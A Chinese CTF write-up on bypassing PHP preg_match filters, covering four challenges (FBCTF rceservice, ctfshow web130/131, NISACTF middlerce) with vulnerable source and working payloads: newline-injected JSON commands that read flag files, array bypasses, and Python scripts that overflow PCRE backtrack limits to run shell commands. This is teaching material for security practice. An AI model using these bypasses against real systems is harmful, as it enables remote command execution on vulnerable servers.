当前位置: 首页 > news >正文

【Web】preg_match绕过相关例题wp

目录

①[FBCTF 2019]rceservice

②[ctfshow]web130

③[ctfshow]web131

④[NISACTF 2022]middlerce 


简单回顾一下基础

参考文章

p牛神文 

preg_match绕过总的来讲就三块可利用

数组绕过、PCRE回溯次数限制、换行符 

①[FBCTF 2019]rceservice

先贴出附件给的源码

<html><body><h1>Web Adminstration Interface</h1><?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?><form>Enter command as JSON:<input name="cmd" /></form></body>
</html>

先进行一个命令的输

{"cmd":"ls"}

 

这里用%0a绕过preg_match 

 {%0a"cmd":"ls /home/rceservice"%0a}

 

因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件无法执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

 

 或者用PCRE回溯次数限制

import requestsurl = "http://node4.anna.nssctf.cn:28428/"
data = {'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)

 

 

②[ctfshow]web130

preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

payload1:

f[]=1

 payload2:

import requestsurl = 'http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/'
data = {'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

③[ctfshow]web131

 

这里和上题不同的是对$f先进行了一个String强制类型转换

具体见此文

意思就是不能用数组绕过了

所以用用PCRE回溯次数限制

payload:

import requestsurl = 'http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/'
data = {'f': 'very' * 250000 + '36Dctfshow'
}r = requests.post(url=url, data=data).text
print(r)

④[NISACTF 2022]middlerce 

(和题①不能说一模一样只能说是如出一辙 )

payload:

import requests
url = "http://node4.anna.nssctf.cn:28848/"
# 直接构造json串
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
res = requests.post(url=url,data={"letter":data})
print(res.text)

 (因为有一些waf,所以这样构造,这里不深入讨论)

相关文章:

【Web】preg_match绕过相关例题wp

目录 ①[FBCTF 2019]rceservice ②[ctfshow]web130 ③[ctfshow]web131 ④[NISACTF 2022]middlerce 简单回顾一下基础 参考文章 p牛神文 preg_match绕过总的来讲就三块可利用 数组绕过、PCRE回溯次数限制、换行符 ①[FBCTF 2019]rceservice 先贴出附件给的源码 &l…...

XSLVGL2.0 User Manual 主题管理器(v2.0)

XSLVGL2.0 开发手册 XSLVGL2.0 Brief 1、概述2、特性3、APIs3.1、xs_page_theme_register3.2、xs_page_get_theme_current3.3、xs_page_set_theme_current3.4、xs_page_get_theme_count3.5、xs_page_get_theme_id3.6、xs_page_get_theme_name3.7、xs_page_get_theme4、使用方法…...

visionOS空间计算实战开发教程Day 2 使用RealityKit显示3D素材

我们在​​Day1​​中学习了如何创建一个visionOS应用&#xff0c;但在第一个Demo应用中我们的界面内容还是2D的&#xff0c;看起来和其它应用并没有什么区别。接下来我们先学习如何展示3D素材&#xff0c;苹果为方便开发人员&#xff0c;推出了RealityKit&#xff0c;接下来看…...

【图解系列】一张图带你了解 DevOps 生态工具

一张图带你了解 DevOps 生态工具 ✅ 协作&#xff08;Collaborate&#xff09;&#xff1a;JIRA、Confluence 大家肯定不陌生了&#xff0c;我之前也写过利用 Jekyll 搭建个人博客的帖子。✅ 构建&#xff08;Build&#xff09;&#xff1a;常用的 SCM&#xff08;Software Con…...

Oracle的安装及使用流程

Oracle的安装及使用流程 1.Win10安装Oracle10g 1.1 安装与测试 安装版本&#xff1a; OracleXEUniv10.2.1015.exe 步骤参考&#xff1a;oracleXe下载与安装 安装完成后测试是否正常 # 输入命令连接oracle conn sys as sysdba; # 无密码&#xff0c;直接按回车 # 测试连接的s…...

CMakeLists.txt:打印find_package变量;判断库文件路径设定是否正确;install文件设置

CMake打印find_package变量&#xff1b;install文件设置 打印find_package找到的各种变量判断库文件是否被找到install文件设置install详细说明 打印find_package找到的各种变量 目的&#xff1a;find_package后&#xff0c;想使用找到的include/lib文件夹。 find_package(Yo…...

Mysql 解决Invalid default value for ‘created_at‘

在mysql版本 8.0 和 5.* 之间数据互导的过程中&#xff0c;老是会出现各种错误&#xff0c;比如 这个created_at 一定要有一个默认值&#xff0c; 但是我加了 default null 还是会报错&#xff0c;于是对照了其他的DDL 发现&#xff0c;需要再加 null default null 才行&#…...

Linux【安全 01】云服务器主机安全加固(修改SSHD端口、禁用登陆失败的IP地址、使用密钥登录)

云服务器主机安全加固 1.SSH登录尝试的系统日志信息2.安全加固方法2.1 修改SSHD端口2.2 禁用登陆失败的IP地址2.3 使用密钥登录 3.总结 1.SSH登录尝试的系统日志信息 Last failed login: Sat Oct 7 14:10:39 CST 2023 from xxx.xx.xx.xxx on ssh:notty There were 10 failed …...

nginx的n种用法(nginx安装+正向代理+反向代理+透明代理+负载均衡+静态服务器)

nginx的安装 一、安装依赖 # 一键安装四个依赖 yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel二、安装nginx yum install nginx三、检查是否安装成功 nginx -v四、启动/停止nginx /etc/init.d/nginx start /etc/init.d/nginx stop五、编辑配置文件…...

lvm 扩容根分区失败记录

lvm 扩容根分区失败记录 1、问题描述2、错误描述3、解决方法重启系统进入grub界面&#xff0c;选择kernel 2.x 启动系统。然后同样的resize2fs命令扩容成功。 1、问题描述 根分区不足。 系统有2个内核版本&#xff0c;一个是kernel 2.x&#xff0c;另一个是kernel 4.x。 这次l…...

【机器学习】聚类(一):原型聚类:K-means聚类

文章目录 一、实验介绍1. 算法流程2. 算法解释3. 算法特点4. 应用场景5. 注意事项 二、实验环境1. 配置虚拟环境2. 库版本介绍 三、实验内容0. 导入必要的库1. Kmeans类a. 构造函数b. 闵可夫斯基距离c. 初始化簇心d. K-means聚类e. 聚类结果可视化 2. 辅助函数3. 主函数a. 命令…...

2824. 统计和小于目标的下标对数目 --力扣 --JAVA

题目 给你一个下标从 0 开始长度为 n 的整数数组 nums 和一个整数 target &#xff0c;请你返回满足 0 < i < j < n 且 nums[i] nums[j] < target 的下标对 (i, j) 的数目。 解题思路 对数组进行排序&#xff0c;可以利用List自带的sort函数传递比较规则(代码中的…...

github上不去

想要网上找代码发现github上不去了 发现之前的fastgit也用不了了 搜了很多地方终于找到了 记录保存一下 fastgithub最新下载 选择第二个下载解压就行 使用成功&#xff01;...

图像处理Scharr 算子

Scharr算子是用于图像边缘检测的一种算子&#xff0c;它类似于Sobel算子&#xff0c;但是对边缘的响应更加强烈。它可以用来检测图像中的边缘、轮廓等特征。 原理&#xff1a; Scharr算子是一种卷积核&#xff08;也称为卷积模板&#xff09;&#xff0c;用于计算图像的梯度。…...

JAVA 面向对象编程

一. 类与对象 1.1 定义类 &#xff1a;类是由数据成员和成员方法组成的一个程序单元。数据成员表示类的属性&#xff0c;成员方法表示类的行为。 定义类的语法格式 : class 类名{数据类型 数据成员名;...public 返回值类型 方法名(参数 2, 参数 2 ...){// 方法体[return 表达…...

第十六章 解读深度学习中Batch Size、Iterations和Epochs(工具)

训练网络之前有很多参数要设置&#xff0c;不了解各个参数的含义就没法合理地设置参数值&#xff0c;训练效果也会因此大受影响。本篇博客记录一下网络训练里的Batch Size、Iterations和Epochs怎么理解。 一、引言 首先要了解一下为什么会出现Batch Size这个概念。深度学习算…...

基于UI交互意图理解的异常检测方法

美团到店平台技术部/质量工程部与复旦大学周扬帆教授团队开展了科研合作&#xff0c;基于业务实际场景&#xff0c;自主研发了多模态UI交互意图识别模型以及配套的UI交互框架。 本文从大前端质量保障领域的痛点出发&#xff0c;介绍了UI交互意图识别的方法设计与实现。基于UI交…...

ArgoWorkflow教程(一)---DevOps 另一选择?云原生 CICD: ArgoWorkflow 初体验

来自&#xff1a;探索云原生 https://www.lixueduan.com 原文&#xff1a;https://www.lixueduan.com/posts/devops/argo-workflow/01-deploy-argo-workflows/ 本文主要记录了如何在 k8s 上快速部署云原生的工作流引擎 ArgoWorkflow。 ArgoWorkflow 是什么 Argo Workflows 是…...

数据结构与算法编程题24

中序遍历非递归算法 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std;typedef char ElemType; #define ERROR 0 #define OK 1 #define Maxsize 100 #define STR_SIZE 1024typedef struct BiTNode {ElemType data;BiTNode* lchild, * rchild; }B…...

springsecurity6配置四

一、springsecurity自定义过滤url配置 package com.school.information.config;import lombok.Data; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.stereotype.Component;import java.util.List;/*** 需要放行的…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

相机从app启动流程

一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)

🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...

vue3+vite项目中使用.env文件环境变量方法

vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量&#xff0c;这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...

JVM虚拟机:内存结构、垃圾回收、性能优化

1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...

为什么要创建 Vue 实例

核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...

vue3 daterange正则踩坑

<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...

小木的算法日记-多叉树的递归/层序遍历

&#x1f332; 从二叉树到森林&#xff1a;一文彻底搞懂多叉树遍历的艺术 &#x1f680; 引言 你好&#xff0c;未来的算法大神&#xff01; 在数据结构的世界里&#xff0c;“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的&#xff0c;它…...

鸿蒙(HarmonyOS5)实现跳一跳小游戏

下面我将介绍如何使用鸿蒙的ArkUI框架&#xff0c;实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...

【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL

ETABS API实战:导出框架元素数据到Excel 在结构工程师的日常工作中,经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时,还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么? 一键点击,就能将ETABS中所有框架元素的基…...